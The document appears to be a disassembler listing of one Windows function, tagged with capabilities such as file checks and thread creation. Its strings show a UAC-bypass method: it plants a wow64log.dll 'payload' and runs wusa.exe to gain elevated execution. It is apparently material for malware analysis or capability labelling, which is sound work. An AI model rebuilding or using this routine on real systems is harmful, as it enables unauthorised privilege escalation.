Function at 0x1400166b3
Capabilities:
Check if file exists
Create directory
Create thread
Get file attributes
Terminate thread

Disassembly:
jmp 0x140032300
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x768
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x13e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x788]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x728], rax
lea rcx, [0x14007f7e1]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000022
mov dword [rbp + 0x84], 0
mov qword [rbp + 0xa8], 0
lea rcx, str.___Entering_ucmVFServerDiagProfileMethod_r_n
call fcn.140016794
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rbp + 0x24], eax
mov rax, qword [0x140075c58]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.1400161f9
lea rdx, str.hui32
lea rcx, [rbp + 0xd0]
call fcn.140016af0
xor edx, edx
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400323f3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0xb7
je 0x1400323f3
mov r8d, 1
mov edx, dword [rbp + 0x64]
lea rcx, str.____Could_not_create_directory_r_n
call fcn.140016a0a
jmp 0x14003261f
mov ecx, 0x420
call fcn.140016695
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140032413
jmp 0x14003261f
mov rax, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x750]
mov qword [rax], rcx
mov rax, qword [rbp + 0xa8]
mov ecx, dword [rbp + 0x758]
mov dword [rax + 8], ecx
mov rax, qword [rbp + 0xa8]
add rax, 0xc
lea rdx, [rbp + 0xd0]
mov rcx, rax
call fcn.1400161f9
mov rax, qword [rbp + 0xa8]
add rax, 0xc
mov rcx, rax
call fcn.140016122
mov rax, qword [rbp + 0xa8]
add rax, 0xc
lea rdx, str.results.cab
mov rcx, rax
call fcn.140016af0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rbp + 0xa8]
lea r8, [0x1400160c3]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [0x140075508], rax
cmp qword [0x140075508], 0
jne 0x1400324e0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 1
mov edx, eax
lea rcx, str.____Cannot_create_worker_thread_r_n
call fcn.140016a0a
mov rcx, qword [rbp + 0xa8]
call fcn.140016c1c
jmp 0x14003261f
mov edx, InitCommonControls
mov rcx, qword [0x140075508]
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea rcx, [rbp + 0xd0]
call fcn.1400161e0
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140032521
mov r8d, 1
mov edx, dword [rbp + 0x44]
lea rcx, str.____DiagProfile_does_not_trigger_r_n
call fcn.140016a0a
jmp 0x14003261f
mov eax, 1
lea rcx, [0x140075510]
xchg dword [rcx], eax
mov rax, qword [0x140075c58]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.1400161f9
lea rdx, str.wow64log.dll
lea rcx, [rbp + 0xd0]
call fcn.140016af0
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140032580
lea rcx, str.___Payload_file_installed_r_n
call fcn.140016794
jmp 0x1400325a2
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0xa
jb 0x14003255e
mov eax, 0x30
add rax, 0x7ffe0000
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.1400161f9
lea rdx, str._syswow64_
lea rcx, [rbp + 0xd0]
call fcn.140016af0
lea rdx, str.wusa.exe
lea rcx, [rbp + 0xd0]
call fcn.140016af0
mov dword [rsp + 0x20], 0x1388
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xd0]
call fcn.14001689d
test eax, eax
je 0x140032615
lea rcx, str.___Target_executed_r_n
call fcn.140016794
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140032385
cmp qword [0x140075508], 0
je 0x140032650
xor edx, edx
mov rcx, qword [0x140075508]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [0x140075508]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x140075508], 0
cmp dword [rbp + 0x24], 0
jl 0x14003265c
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14005e770]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x728]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x738]
pop rdi
pop rbp
ret